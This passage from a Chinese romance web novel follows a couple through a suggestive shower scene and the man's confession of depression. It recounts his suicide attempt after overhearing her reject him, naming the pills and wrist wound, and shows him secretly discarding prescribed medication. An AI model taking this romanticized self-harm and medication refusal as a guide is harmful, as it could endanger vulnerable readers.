他把她抱到身后的洗手台上,掀开衣摆,将换下来的T恤扔到旁边。再回过神,温书棠不知怎么又下来了,主动蹲下身,帮他去扯家居裤上的抽绳。 眸色瞬间幽暗下来,他嗓子干得厉害,嗓音哑了几个度,伸手握住她胳膊:“宝贝,你站起来。”他罕见地不自然起来:“不、不用这样,我自己来就好。”温书棠像没听见,很专心地在解决那条裤子。 其实不是很复杂,但也不知道怎么回事,她费了半天力气,还是没能成功弄下去。 “好像卡住了……”她语气很苦恼。 最近一周都是高温天气,家里开了空调,但不太能照顾到这边,被她这样反复厮磨着,周嘉让实在热得受不了,干脆带着她的手,和她一起迅速解决掉。 花洒被打开,水流汩汩流下。 被打湿的头发遮住眼睛,遮住里面浓烈的爱和欲,周嘉让下颌绷得很紧,额角处突起明显的青筋。 他没有碰她,怕克制力压不住,双手撑在后面的墙体上,大概是淋下的水温太高,关节处蔓开星星点点的红。 温书棠是半蹲的姿态,她其实没有经验,往常都是他照顾她更多一点,能感受到的就只是烫,铺天盖地的烫。她身上的衣服都还在,被水从里到外浸了个彻底,归根到底还是会害羞,眼神时不时就会飘忽地移开。 担心会弄疼他,所以她力道放得很轻,孰不追带来的是反效应。 周嘉让喘得格外厉害,手掌扣在她后颈上,眼尾逼得很紧,从喉咙里艰难挤出字音。 “宝贝,可以再重点的。” 眼中划过几分茫然,温书棠还是不得要领,周嘉让实在没办法,只能深吸口气,一点一点地去教她。 白瓷墙壁上,影影绰绰倒映出两个人影,温书棠身上的衣服没了,从里到外都变得糟糕起来。周嘉让呼吸很紧,语气更晦涩,手臂揽在她腰侧,还在分心担心她的状况。 “手酸不酸?” 也不等她回答,他低下头,就这么吻在她唇边。不知道过了多久,水声还没停,可别的东西却停了,方才晚饭后没喝完的牛奶,此刻都流在她掌心的纹路中。 温书棠没想到会这么累,累到连洗澡的力气都没有,最后还是周嘉让帮的忙。帮她裹好浴巾,他拉起她的手,虎口那处被磨得已经微微泛红,他安抚似的揉捏两下,在心里想下次还是别这样了。他伺候她就好。累着她他也会心疼。 仔仔细细又洗了几遍,周嘉让给她套上干净的睡衣,抱着她从淋浴间出去。外面天彻底黑了,时针已经快要指向八。本来是想速战速决,没想到居然在里面待了这么久。 缺氧感渐渐消失,身体里的燥热也被凉风吹散。周嘉让在给她吹头发,她发质偏软,打理起来有些麻烦,但他愿意做这些,总觉得有种说不出的亲昵感。 擦护发精油时,安静了一晚上的温书棠突然开口。“阿让。”他停下动作,双手搭在她肩膀上,沉黑眼眸看向她:“怎么了宝贝?” 温书棠揪着身下床单,睫毛抬起,又落下,就这样来回重复了几次。周嘉让察觉到什么:“宝贝,你是不是有什么话要对我说?”“想说就说。”他轻声引导着,“难道还有什么话是不能告诉我的吗?” 温书棠攥攥掌心,终于下定决心,纤长浓密的眼睫抬起:“阿让。”"上高中的时候,你曾经告诉我,以后不管有什么不确定的,可以直接问你,你会给我答案。"“这句话还算数吗?”周嘉让答得肯定:“当然了。” “好。”温书棠深吸一口气,“那你先告诉我,这些年你在国外过得好吗?”话音落,他眸光明显颤抖了下。半分钟过后,他才动了动唇线,哑着嗓子答出两个字。 “不好。”虽是意料之中的答案,可温书棠还是不受控制地酸了眼眶。她抬手摁掉眼角的湿热,强忍着不让情绪在这个时候泄出来,指尖掐在掌心里,颤抖着问出第二个问题。 "那你再告诉我,你是不是生病了?"肉眼可见的,他脸上闪过一丝错愕,还夹杂着些许难以置信。 “不….…”字音还没发完,便被温书棠打断。 “阿让。”唇瓣翕动,她语气有种异常的平静,这种平静听起来叫人心慌。“你说过,你不会再骗我的。” 只一句话,周嘉让便明白。有些事是藏不住的。 他没再回答,而是向前倾了身子,像个做错事被发现的小孩,无暇思考她是怎么知道的,伸手将她揽入怀中。下巴埋在她颈窝里,他的肩膀和手臂都在不受控制地发颤。 空气在这一刻被按下暂停键。在温书棠的印象里,周嘉让从来没有这样慌张过。他紧紧抱着她,力道一点点收紧,连贴在锁骨上的喉结都在不断发颤。 就这样过了好一会。周嘉让叫她的名字,声音里像是混了把粗粝的沙:“恬恬,我的病已经好了。” “真的,已经好了的,好长时间都没有发作过了。”“你看,我现在很正常的。” 他一遍又一遍地重复,好似一种迫切的证明,说到最后,变成惶恐地祈求。 “你不要嫌弃我好不好。” 眼泪像失了闸的洪水,大颗大颗地滚落下来,带着炽热的温度,滑落藏进他的衣衫。温书棠回抱他,难过地囔着鼻音:“阿让,你说什么傻话。” “我怎么可能嫌弃你呢。”心疼都还来不及呢 脸上乱七八糟地都是泪痕,温书棠没擦,只是这样抱着他,用这种方法让他感到心安。“你怎么都不和我说啊。”她抚着他的脊背,感受到他瘦削突起的骨节,“怎么都不好好照顾自己。” 听见她也在哭,周嘉让心口更疼,像寄生虫一样蚕食着身体的每一寸神经。向后退开一点,他把人抱到自己腿上:“对不起宝贝。”"我不是故意瞒着你的……只不过… “笨蛋。”温书棠用力揉揉他的脸,“我才没有怪你。”她不知道自己怎么了,光是看着他的样子,都忍不住想掉眼泪。 这么好的人,怎么会生病呢? 等两个人情绪都平复一点,周嘉让给她看了自己这些年来的就诊记录。 第一次咨询,时间是2016年3月。那时他们分开还不到一年。 这次治疗以谈话为主,症状主要表现为长期失眠,心情起伏波动较大,身上无故出现疼痛,偶尔会呼吸困难,有窒息感。医生给出的诊断结果是中度抑郁加中度焦虑。 后面几张的内容差不多,他的病情还算比较稳定。 直到第四次。2017年1月。 文件夹里变成了一张急诊抢救单。 主诉及病史那栏清清楚楚地写着:周嘉让,19岁,于2017年1月3日21:45分被室友发现倒卧于家中,床头散落艾司唑仑片空瓶(规格1mg×20片,家属诉半月前开具),左手腕可见纵行切割伤(长约6cm,深及皮下,活动性出血),送至时意识已经不清醒。 周嘉让伸手捂住上面的内容,很淡地扯了下唇角:“别看这个了,也没什么好看的。”温书棠死死咬着唇肉,不想让眼泪掉下来,但抑不住喉间哽咽:“这是发生什么事了吗?” 下午回家的路上,她查找了许多相关资料,了解到这类疾病的诱发因素有很多,除去遗传情况外,还与家庭环境,遭受到外界重大打击有关。所以她初步猜测,可能是因为小时候那些过于沉重的经历,亲人接连去世,再加上他被强行送到美国,种种变故的摧残下,才会萌生这种问题。 可他都在美国生活一年了,按理说应该适应了,为什么会突然做出自杀的举动呢? “是陆家的人又去找你麻烦了吗?”温书棠问。 周嘉让摇头:“不是。” 很久之后,他才缓缓说:“那次,是我回国去找你了。” 99、加州.. 回到沪市的第三个月,周嘉让被送到美国。 担心私生子的事情败露,给公司带来更大的负面影响,陆承修全程操办得很匆忙,也很隐蔽,派助理将人押送到机场,然后像丢垃圾 样把他丢去加州。 除去护照和一个不知是什么野鸡高中的入学申请外,再没给他留下分文。 甚至还卷走了周清冉留给他的财产。 所以很长一段时间,周嘉让几乎拮据得难以想象。 没有钱租房,他只能跟着一群流浪汉,挤在无人管辖的废弃仓库里。 不用说也能想象出来,那里环境到底有多差劲,杂物堆积成山,空气中弥散着腐烂的臭味,地上是陈年的霉迹,老鼠和虫蝇肆意逃窜。而所谓的“床位”,不过也就是几个坏到不成样子的破沙发。 周嘉让根本无法适应,可又找不到其他地方,每当夜幕降临,黑暗逐渐吞没视野,他都会不受控制地想起儿时被绑架的经历。那段时间,他没法睡觉,闭上眼就是被殴打的噩梦,情绪很差,身体也出了好多问题。 为了节省开支,他很少吃饭,除非饿到真的撑不下去,才会等到超市快打烊的时候,去找一些店员不要的过期食物。 他白天要在学校上课,国内外教学体系不同,所有课程都要从头开始补,等晚上放学后,还要背着书包去打零工。寻常那种便利店的兼职,薪水太过稀薄,并不足以维持日常生活,所以他去了郊区那边的建筑工厂。 毕竟是体力劳动,干得越多,赚得也就越多,周嘉让虽然年纪不大,但却是最能吃苦拼命的那个。 破败简陋的厂房里,尘埃四处飞扬,他没有多余的衣服,整日穿着那件黑T,将一箱箱重物扛在肩上。发丝被汗水浸透,凌乱地黏在额前,衣襟上沾满尘土,皮肉被压出触目惊心的青紫色血痕。 因为他年纪小,又是黄种人,被针对是常有的事,他们用下流的话嘲笑他,用不友好的手势侮辱他,更过分的,还会直接动手欺凌他。 从小到大,周嘉让没吃过太多苦头,不管是周清冉,还是外公外婆,都把他照顾得很好。他从没想过,自己有一天会沦落到这种地步。 可不做,他就会被饿死。他还不想死。他还想等到回国那天,他还想再回到她的身边。回国这一奢望,如同茫茫昏色里,立于远方的最后一盏灯,荧荧几缕光亮,却支撑他度过无数个难熬的日夜。就这么撑了两个月,他终于攒出一点钱,没有行李,子然一身地离开仓库,在学校附近与人合租了个小房间。左逸明就是他的室友。刚开始的时候,他们俩并没有什么交流,周嘉让这人本就孤僻,不爱说话,也没什么表情,整天摆着一张冷脸,看上去像是谁欠了他几百万。并且他早出晚归,就只有晚上睡觉才会回来,偶尔碰面,也只是点头示意一下。直到后来,某天深夜,周嘉让因为穿得太少着了凉,高烧到三十九度,出去找药时晕倒在客厅里。左逸明刚好没睡,听见声音后连忙出去,扶他到沙发上躺好,又给他灌了两遍药。也是那晚,两人第一次有了真正意义上的交谈。讲不出什么原因,大概任何与情感牵连的东西都要凭借感觉,尽管先前没说过几句话,周嘉让却笃定他是一个值得深交的朋友。就像当初,他和许亦泽那样。他们聊了很久,从彼此的身世,到出国的原因,聊到最后,左逸明问他:“兄弟,我真挺好奇的,你这么拼,到底是为了什么啊?”像被按下暂停键,周嘉让蓦然陷入沉默。握着水杯的手慢慢收紧,他喉结轻滚着说:“因为……有个很重要的人。”“她在国内等我,我想早点回去看她。”日子过得很快,转眼间,大半年过去。仗着天资高,平时又够刻苦,周嘉让在高考中拿到了不错的成绩,和左逸明一起进入斯坦福的计算机专业。与此同时,伴随而来的是更高强度的学业压力。为了不被落下,他整个白天都泡在教室和图书馆里,晚上要跟着学长学姐们跑项目,只能牺牲睡眠时间去做兼职。最忙的一次,他连续三天都没合眼。下班回家的路上,他脚步都是虚浮的,好似踩在棉花团上,心跳也乱,从头到脚的每一处都是涣散的,甚至感受不到自己还活着。左逸明放心不下,怕他会把自己搞垮,劝他要以身体为重,但他怎么都听不进去。后面到了年底,学长帮他们争取到一个很重要的项目。如果做得好的话,能直接拿到与他们那个研究方向的领头公司对接合作的机会。综合各方面条件来看,周嘉让的能力最强,最核心的部分由他负责,汇报时自然也是让他作为代表。但,距离汇报只剩两天时。周嘉让突然给左逸明发去消息。【Iris.:后天我就不去了,到时候你上台汇报吧。】左逸明前晚通了个宵,还以为是自己熬出幻觉了,不可置信地揉眼了三遍眼,确信自己没有看错。【左逸明:阿让,你和我开什么玩笑呢?】【Iris.:没开玩笑,我认真的。】左逸明索性拨了通电话,打听是什么情况:“阿让,怎么回事?你怎么说不去就不去了?”他自顾自地猜测原因:“难道你又和Joe吵架了?”“哎呀。”他苦口婆心地开导,"Joe那臭脾气你又不是第一天知道,别和他一般见识。"周嘉让歪头夹住电话,手指飞速在键盘上敲击:“没吵架,是我那天有事去不了。”“有事?”左逸明猛地拔高嗓门,难以置信地反问,“什么事能比汇报还重要啊?”手上动作忽而一滞。周嘉让握住手机,低垂的睫毛在眼下拓出阴影,唇瓣翕动几次,才艰难说出那两个字。“回国。”十二月二十一日,又是一年冬至。周嘉让买的是凌晨的机票,价格比其他时间更加便宜。宽敞明亮的候机厅,他靠在休息区的长椅上,机票和护照紧紧攥在手里,仍然有种坐立难安的紧张感。怕天气突生变故,怕航班无端延误,怕老天故意和他作对,让数月的期待再一次落空。四十分钟后,登机广播按时响起,周嘉让走进廊桥,在自己的位置上坐好。系上安全带,轰鸣声渐重,偏头向外望去,他看着地面人影渐小,看着城市灯火正浓,看着飞机穿过云层,平稳升入万里高空。可紧绷的心仍旧没能松懈下来。十几个小时的航程,窗外的黑夜变成白昼,又跟随夜色回归朦胧,为了提前赶出作业进度,周嘉让这一周都没怎么睡,可他却精神抖数,半点困意都没有。脊背挺得笔直,他委屈在这个狭小的座位里,捏着那张泛黄的拍立得,怀中还抱着一个毛绒的长耳兔玩偶。晚上六点,飞机落地京北。机舱门缓慢打开,周嘉让跟随人群挤出来,干燥冷冽的空气浸入肺部,这是一种久违却又陌生的恍惚感。仔细算算,上次领略京北的冬,还是八年前的事。从机场出来,周嘉让打车去了京北大学。分开这一年多,他不止一次在网上搜索她的名字,试图寻找任何与她有关的蛛丝马迹。他知道她拿了漓江的高考状元,成为那一年惊动全市的黑马,知道她去了京北大学,知道她选择的是法语专业。凭借她的电话号码,他还搜到了她的微博,搜到了她音乐软件的账户。起初他不敢关注,只能偷偷摸摸地看,等日子久一点,又冒出贪心的念头。纠结一番后,他试着点了关注,万分侥幸,没有被她拉黑。不过他也只敢做到这步了。她发的内容不多,有时几分钟就会删除,周嘉让只好一条条截图保存下来。他不声不响地了解着她的近况,看她抱怨天气,抱怨繁重的考试,抱怨食堂里抢不到的香酥鸡。让他印象最深的是,有次他刚结束兼职,国内应该是凌晨五点,她忽然发了一条文字。【姐姐,好想你啊。】最开始他以为是她在外面上学,两姐妹不能经常见面,她一时不习惯,所以才在半夜悄悄感慨。可看见她在下面的评论后,他才迟钝地反应过来——温惠去世了。她最爱的姐姐,彻底离开她了。也是那个瞬间,周嘉让更讨厌自己了。到了京大附近,人流密集,路况拥堵得厉害。不想在车上浪费太久,付过款后,周嘉让推门下来。他去了对面街道的商场,在地下一层找到一家还在营业的蛋糕店。蜂蜜色光晕斜切过玻璃,透明橱窗里,陈列着一款三层奶油蛋糕,最上面是白奶油堆成的云朵牧场,用杏仁糖捏成的垂耳兔歪坐在中央。下层嵌着晶莹的草莓冻,四周点缀着淡粉色的蕾丝带。目光定住,心一动,直觉告诉他,恬恬会很喜欢。于是他看向身旁穿着工作服的女生,询问这款需要多少钱。女生露出标准的职业微笑:“您好,这款是432元。”这次回国的机票,已经花光了他的全部积蓄,口袋里仅有的五百块,还是左逸明临走时塞进来的,说是让他留着去吃点好的。可他眼睛都没眨一下,让她帮忙把蛋糕打包装好。剩下的六十八元,他到不远处的花店里,挑了一束她喜欢的郁金香。拎着花和蛋糕,周嘉让回到京大门口。半小时前,微博推送了她的最新动态,是一张西餐厅的照片,估计是在和朋友们庆祝生日。他猜她应该会从这边回来。其实他穿得很低调,冲锋衣配黑长裤,但架不住顶着那样一张脸,再加上手中拿的东西,过路不少人的眼神都似有若无地看过来。几个胆子比较大的女生,凑上前问他能不能给个联系方式。“抱歉。”他向后退开半步,礼貌婉拒,“我有喜欢的人了。”女生们早有预想,可听见他这么说,依然不可避免地觉得惋惜。时间一分一秒在流逝,风吹得更凶了点,气温也骤降几个度。十几米之外的路灯下,依稀可见细小的银白在飘洒。京北下雪了。雪花落入手心,随着体温而融化,泅开一小块湿漉,周嘉让睨着水珠,没由得弯了弯唇角。凭他的经验,这场雪会下得很大。恬恬向来喜欢雪。她肯定会很高兴吧。她高兴的话,他也会很开心的。而且,他好久都没见过她笑起来的样子了。怕花被冻得败落,周嘉让往怀里护了护,后面又感觉不够,干脆把外套脱下来,小心翼翼地挡在外面。里面只有一件卫衣,布料单薄,寒风轻而易举便能打透。几分钟过去,手指关节都被冻得发红,但他像没知觉似的,不急不躁地在原地踱步等待。呼吸间溢出的白雾,层层叠叠从眼前散开,盯着漫天飞舞的雪粒,周嘉让忍不住想,等一会见到她,他该说些什么。是告诉她自己错了,那些伤人的话都是假的,他是逼不得已才离开的;还是直接和她告白,告诉她自己一直都喜欢她。好像怎么做都不太合适。那还是先好好给她过生日吧。恬恬,生日快乐,我回来了。分针划过半圈,晚九点整。送给她的《十九》如约发布,周嘉让登上微博,反反复复翻看着她的动态,雪势进一步加大,路面上的斑马线都被盖住,就在晚班地铁快要停运时,他终于见到了心心念念的身影。整整一年半,五百八十三天后的第一眼。那一瞬间。周嘉让不能自已地酸了鼻尖。实在是太想她了。擦掉眼底的湿热,周嘉让重新抬眸。与记忆中相比,她似乎又瘦了不少,头发也长到了腰,穿着素净的白色棉服。手里捧着杯奶茶,小半个下巴都藏进衣领里。在她右侧,是一个身高差不多的女生,因为捂得太严实,只露一双眼睛,他费力辨认了好一会,才看出那是谢欢意。那天不是周末,为了赶过来给温书棠过生日,谢欢意特意翘掉了两节专业课。“怎么样?”谢欢意碰碰她肩膀,傲娇邀功,“是不是特别感动?”温书棠咬着吸管,一连说了三次嗯:“你明年过生日的时候,我也回漓江陪你。”“真的啊。”绒帽下的圆眼睁大,谢欢意较真地和她拉钩,“那就这么说定了啊,不许反悔。”“等你回家,我让我妈给你煮赤豆元宵,再包一些蛋黄肉松的青团。”“对了!”她一拍脑袋,“还要去买李记的牛肉锅贴!”被她这么一说,温书棠确实有些想家了,侧头靠在她身上,嗓音闷闷的:“欢意,谢谢你,有你真好。”谢欢意顺势揉揉她的头:“和我还这么见外。”信号灯由红转绿,两个人挽着手走过马路。周嘉让静静跟在后面,宛若一道安静又沉默的影子。拐进左边那条街,迎面走来一个中年女人,身边还带着个大约五六岁的小男孩。小男孩走得不太专心,蹦蹦跳跳,眼看就要撞到温书棠身上。他下意识想去拉她,但谢欢意的动作比他更快。“没碰到哪儿吧?”她问温书棠摇头:“没有啦。”悬在半空的手恹恹收回,周嘉让自嘲地扯了扯唇。不过这样也挺好的。他不在,起码还有谢欢意陪着护着。谢欢意继续和她聊闲话,说刚才餐厅送的慕斯味道好棒,又嫌弃说那个火腿tapas好难吃。“果然。”她得出结论,“漂亮饭还是更适合用来拍照。”手机震出叮一声响,是许亦泽发来的消息,关心她有没有回酒店。如果诚实地说没有,免不得又要一顿唠叨,谢欢意眨眨眼,朝他撒了个小谎:【回啦。】许亦泽:【好,那早点睡哦。】许亦泽:【晚安欢欢。】小情侣甜甜蜜蜜说完话,谢欢意把手机塞进兜里,猛吸了口热奶茶,又扯起老生常谈的八卦话题。“棠棠。”冷风吹得人头疼,她把帽子又往下拽了拽,“你们学校有没有追你的男生呀?”温书棠嚼着珍珠,话语略为模糊:“没有。”“不是吧。”谢欢意皱眉,简直无法理解,“他们好没眼光哦。”温书棠没有这方面的心思,也不太在意:“我本来就没什么好的呀,干嘛要喜欢我。”“谁说的。”谢欢意倏地抬高语调,有理有据地反驳,“我们家棠棠不仅长得漂亮,性格更是温柔善良,怎么就不好了。”温书棠浅浅笑着:“我看啊,是你对我的滤镜太厚啦。”“才不是呢。”谢欢意轻哼。喝完最后几口奶茶,脑海中闪过某个想法,她语气变得飘忽不定:“棠棠。”“你是不是……还喜欢周嘉让啊。”话音刚落,温书棠的脚步停顿了下。身后那人也随之停了下来。像等待判决的犯人,浑身肌肉骤然绷紧,周嘉让望着她的背影,心脏跳动的速度加快。雪幕汹涌,气氛凝滞三秒。他看不见她的表情,却听见她安静又决绝地说。“怎么可能。”“都过去了,我早就不喜欢她了。”“要不是你提起来,我都快把这个人忘了。”……深夜十一点三十分。气象台发布紧急播报,京北将在未来两小时内迎来暴雪,提醒广大市民,如非必要,尽量不要出门。警卫第三次从窗口探头,看他还没有走的意思,也懒得再多管。校门口的长椅上,周嘉让将那个蛋糕拆开。从口袋中摸出打火机,拨开金属片,火光窜出虎口,在凛风中摇曳跳动。可天气太糟糕了。蜡烛迟迟无法点燃,正如他们之间的结局,最终还是没能圆满。不知第几次失败,周嘉让放弃挣扎,用叉子挖下一块奶油,伴着萧瑟的风雪,替她吃下一口。那句演练许久的话,只能像独角戏那般说出。“恬恬,十九岁生日快乐啊。”“…我回来了。”可你应该不想再见到我了吧。吃完蛋糕,周嘉让踉跄起身。街角未打烊的唱片店,正在播放五月天的那首《步步》。“在充满你的回忆里面,我独自流浪海角天边。”“一步步走过当时心愿。”一步一步,周嘉让渐渐走远。他看起来并无波澜,甚至连唇线绷起的弧度都没有一丝改变。可只有他自己清楚。那盏灯终究是灭了。那个唯一支撑他的希望,在这个夜晚,彻彻底底地塌成了一片虚无。 100、失血... 凌晨三点,周嘉让回到加州。 客厅的落地灯还开着,左逸明正在沙发上赶DDL,听见开门声后,没由得愣了几秒,抬起头,看见站在玄关处的身影。 外面从前夜便开始下雨,周嘉让没带伞,浑身上下都湿淋淋的,额前碎发贴在皮肤上,本就偏冷的肤色,更是被衬出几分寒气。眼睫低垂,唇线绷得很直。 “阿让?” 左逸明打着哈欠,看了眼屏幕右下角的日期:“你不是说明天才回来吗?” “怎么样啊?”代码还剩一半没写完,他起身去给自己泡了杯咖啡,没骨头似的倚在吧台那儿,关心他这次回去的情况,“见到了吗?” 周嘉让没接话,径直回了房间。 瞧他不太对劲,左逸明放心不下地跟过去,食指在门上轻敲:“阿让?” 等了半分钟,里面还是没动静。但左逸明并没多想,觉得他可能是在路上折腾得太累,也没再吵他,只抬高语调嘱咐了句:“那你记得把头发擦干再睡啊,省得感冒着凉了。” 后面几天,周嘉让都把自己关在家里。他不吃饭,也不喝水,像是被抽干魂魄,整个人浑浑噩噩的,连学校的课都罕见地翘了。 左逸明隐隐猜到些什么,想劝劝他,可又不知道从哪开口,生怕自己说错了话,惹得他更难受。 就这样消沉了一周。没有任何预兆,周嘉让突然好转起来,重新回到学校,仿佛什么都没发生过,按部就班地打工上课,继续过着两点一线的生活。但却不再像先前那般拼命。 看见他的变化,左逸明松了一口气,以为他是真的走出来了。在他看来,失恋这件事,就像是发了场高烧,翻江倒海地病一场,挺过最难熬的那几天,伤痛自然会痊愈。 年少感情本就脆弱,十有八九会不圆满,所以仔细想想,其实也没什么大不了的,人生那么长,不可能只栽在一个人身上。总会过去的。 直到那晚。一个学期结束,左逸明约着和几个朋友出去放松,吃完饭正打算去下一个场子,忽然发现自己忘了带钱包好在离家不远,回去取也不算麻烦。跨年夜刚过去,整座城市都笼罩在热闹的气氛里,大街小巷不时传来焰火声,左逸明推开家门,摁亮墙上的灯,一边换鞋一边喊了句阿让。 没等得到回应,他却闻到一股淡淡的血腥。 心脏猛然一沉,不好的预感涌入脑海,左逸明踉跄着跑进卧室,只见周嘉让躺在床上,神色平静,双睫闭阖,看起来像睡着了一样。如果那个几乎空了的安眠药瓶没有出现在床头的话。 耳边嗡一声炸开,左逸明慌忙拿起电话,额头上都是冷汗,手指也不听使唤,连续三次才拨出急救号码。等待接通的间隙里,余光瞥到一抹红色,视线下移,垂在床边的那截手腕上,分明嵌着一道伤口,下手很重,又长又深,湿热的血顺着指尖流下,滴落在地上,犹如绽开的暗色荆棘。 …… 抢救室外总是格外安静。 冰冷刺眼的白炽灯下,左逸明仰头靠在墙边,手里攥着刚刚签好的病危通知,担忧和疲惫如洪水般萦绕在周身。 这一刻,他终于迟钝地意识到,自己错得有多荒谬。周嘉让根本就没有放下。 他只不过是在伪装,装出一副不在意的模样,好像这样就能瞒天过海,将这一页从过往中撕毁。可他骗了所有人,却唯独骗不过自己的心。 因为失血过多,整整三天,周嘉让才从昏迷中醒过来。持续一周的雨渐渐停了,午后两点,阳光正暖,溪水般潺潺在病房里铺开,他睁开眼,看着窗台上跳动的光斑,动了动干涩的嘴唇:“还活着啊……."居然还活着。"满是惋惜的神情。 左逸明自认不是感性的人,可眼泪就是忍不住往下掉,积在心底的情绪喷涌而出,他红着眼朝他质问:“周嘉让,你至于么。” “不过就是回了趟京北,你怎么就搞成这个样子了。”"到底发生什么了啊,是吵架了还是分手了,她就这么重要吗?至于让你连命都不要了吗?" 这几天发生的事,就像是一场梦,他完全不敢想,如果那天自己没有中途回家,如果自己回去得再晚一点,结果会变成什么样。是不是世界上就再也没有周嘉让这个人了。 纤长浓密的睫毛,轻轻颤了一颤,周嘉让眸色很深,声音透着尚未恢复的虚弱:“逸明。” 左逸明眉目一凛。周嘉让从来都没有这样叫过他。 向前挪动半步,他语气缓和了点:“嗯。” 喉结轻滚,周嘉让颓败又无力地说:“我真的……太累了。” “我坚持不下去了。”“累了咱们就休息一下啊。”他的日子有多苦,左逸明不是不知道,不忍心地抽了记鼻子,“为什么要做这种想不开的事。”"人死不能复生,这道理还用我告诉你吗。" 周嘉让没答,而是没头没尾地说:“那天,我见到她了。”“她瘦了很多,头发也长了,还是和以前一样喜欢穿白色。” 提起她时,他眼中总是带着些柔和,可下一秒,又变得哀伤:“我听见她对别人说,早就已经不喜欢我了。” “甚至快要把我忘了。” 他艰难地勾起唇角,呵出很低一声笑:“也对。” “是我先抛下她的,是我先伤害她的。”语速渐缓,说出来的每一个字,都像刀子般割在嗓子里,“她记恨我,这是应该的。” “可这又不是你的错,这一切都不是你造成的。” 左逸明不懂他在钻什么牛角尖,抛出一连串反问:“难道你愿意出国吗?你愿意变成今天这个样子吗?” 周嘉让固执地摇了摇头:“这都是我的报应。” "我这条命,本来就是她救回来的。" 剧烈的痛意,自胸腔里蔓延而出,他承受不住地低咳几声,脸色苍白如纸:“既然她不再需要我了,那我就……还给她吧。” "也算是,抵平了。" 衣袖下的手紧握成拳,左逸明被气得说不出话,深吸一口气:“就算你死了,她会知道吗?她就能原谅你了吗?!” 体力耗尽,周嘉让说不出话,只有半启的唇瓣在颤动。偏过头,他透过窗子看向远处,碧空如洗,云层稠密,一切明明是那样美好,可他却觉得了无生机。 眼角划开一抹湿痕,顺着侧脸,拉出长长一条泪线。如同剖开一道透明的伤口。 这是到美国后,周嘉让第一次掉眼泪。露宿街头时他没哭,生病重伤时他没哭,辛苦一天拿到的工钱被人抢走时,他也没哭。 空气沉寂许久,软管里的药快输完了,左逸明叫来护士,请她帮忙换上新的。他极力平复着自己的心情:“周嘉让,我就问你。”“你还想再见到她吗?”周嘉让无言,可眸光却分明动了下。 “想的话。”左逸明沉声,想把他从迷途中敲醒,“那你就留着这条命,给我好好活着。”“如果死了,你就再也见不到她了。” …… 也是那天晚上,周嘉让做了一个梦。这是分开一年多的时间里,他第一次梦见温书棠。 梦里的她,交了新的男朋友,可他对她并不好,她受了委屈,抱着膝盖蹲在地上,眼泪一颗一颗地往下掉。心脏像被插进一把匕首,四肢百骸碾开刺骨的痛,周嘉让想上前抱抱她,想哄她不要再伤心了,可任凭他拼了命地奔跑,也无法靠近她身边。 惊醒的前一秒,温书棠抬起眼,可怜又脆弱地看向他。 周嘉让猛地从床上坐起来。 他后悔了。他不想死,也不能死。 他还要留着命去保护她。哪怕她不喜欢他,哪怕她痛恨他了,没关系,都没关系。 他会站在她的一步之外,在她看不见的地方,护她此生周全。前提是,他要活着。 隔天,周嘉让开始接受系统的心理治疗。和其他病人相比,他情绪波动较小,态度也更加配合,按理说很快就能有所好转。 可他的状态却每况愈下,甚至一度出现失语症状。狭窄的病床上,他呼吸急促,像个还没学会说话的小孩,零碎的字音被磕磕绊绊地挤出来:“照、照片……” 左逸明皱眉:“什么照片?” 他答不出,手掌痛苦地扼住喉咙:“玩、玩偶。” 左逸明恍然,连忙把他最宝贝的,小心收放在柜子里的拍立得和兔子玩偶拿出来。周嘉让这才冷静下来。 经过一番检查,医生了解到,他的病情之所以会加重,是因为他趁着护士不注意,偷偷扔掉了该吃的药。 宽敞明亮的诊室里,Kevin开门见山,问他为什么要这样做。周嘉让仍然说不了话,只能用笔写在纸上,他低着头,颈后骨节瘦削凸起,笔尖与纸张摩出沙沙声。 【我查过了,这个药有副作用,会让记忆力减退。】更有一部分患者,会出现短暂失忆的情况。 【抱歉,我不能接受这个风险。】【我不想忘记她。】【不想忘记和她有关的一切。】 Kevin劝说了很久,但他却很坚定,始终都没有改变想法的念头。无奈之下,Kevin只能妥协,重新为他制定了咨询治疗的方法。 从那时起,周嘉让开始频繁地回国。左逸明的远房堂妹,刚好也在京大外院,在她的帮助下,他拿到了温书棠的课表,见她也变得更容易了些。 为了尽快攒够机票钱,他同时找了三份兼职来做。有时累到虚脱,连喘口气的体力都没有,但在看到她的刹那,又跟回血似的原地复活。 只要能见到她,只要知道她一切都好。再苦再累,他都不怕。 简言简语,周嘉让只把那次回京北的事告诉了她。只听到一半,温书棠就明白是怎么回事了,凑过去抱住他,脸埋在颈窝里,力气很重,像要融进他的身体中。 掌心在她背上轻拍,周嘉让低声安慰着:“我知道,恬恬当时说的是气话,不是真的不喜欢我了。”“而且,也是我自己太冲动了,一时想不开就做了傻事。” “但是你看,我现在不是好好的吗。” 见她怎么都没反应,周嘉让向后撤开一点,蹙着眉,双手捧起她的脸:“让我看看,我是不是又把我家宝贝惹哭了。”温书棠咬着下唇,倒是没哭,只是眼眶红得过分。 她拉起他的手腕,凝着那道不太明显的伤疤,用指腹来回蹭了蹭,眼里的心疼都要溢出来。“阿让。”她吸了一记鼻子,嗓音囔囔的,“疼吗?”周嘉让笑着揉揉她的头:“不疼。” 怎么可能不疼啊。她才不信。 周嘉让把人搂回怀里,在她额前轻轻吻了下:“宝贝,你要相信我,和你在一起后,我每天都过得很幸福,再也不会像之前那样,无缘无故地感到难过了。”温书棠低低嗯了一声。 “而且,我的病也并不是因为你,自从那次被绑到仓库,再往后外婆和妈妈接连去世,我的心理早就已经开始扭曲了。”"但后来遇见了你,还有许亦泽他们陪着,我才渐渐有了些转变。" "所以,答应我好吗,不要因为这件事自责。" 温书棠没答话。 以为她还陷在低落里,周嘉让刚想继续开导她,谁知她倏地抬眼,眸子里澄着未氤干的水雾,一字一句,极为认真地说。 "阿让,我们结婚吧。" 周嘉让先是一愣,但不出半秒,便紧紧握住她的手,没有一丝犹豫。 “好。”“恬恬,我们结婚。” 又是一个深夜。 好不容易把温书棠哄睡,周嘉让在旁边搂着她,不由得又想起那几年的经历。 关于回国这件事,Kevin曾极力阻拦过。 “让,虽说你的病更多是原生家庭造成的,但你必须承认的是,她给你带来的痛苦,并不比那些往事少。” “你们分开八年了,不是八天,也不是八个月,这八年到底能改变多少东西,我们谁都无法预测。”“所以,你现在最好的选择就是远离她,尝试去淡忘她,把她从你的生命中摘出去,才能彻底与这段痛苦脱离,才能慢慢回到正常的生活轨迹里。” "Kevin。"周嘉让打断他后面的话。 “你知道吗。”他摩挲着无名指上的银戒,通过这种方式,缓解自己对她入骨的思念,“这么多年,我想过死,也想过放弃。”“但却从来没想过不爱她。” …… 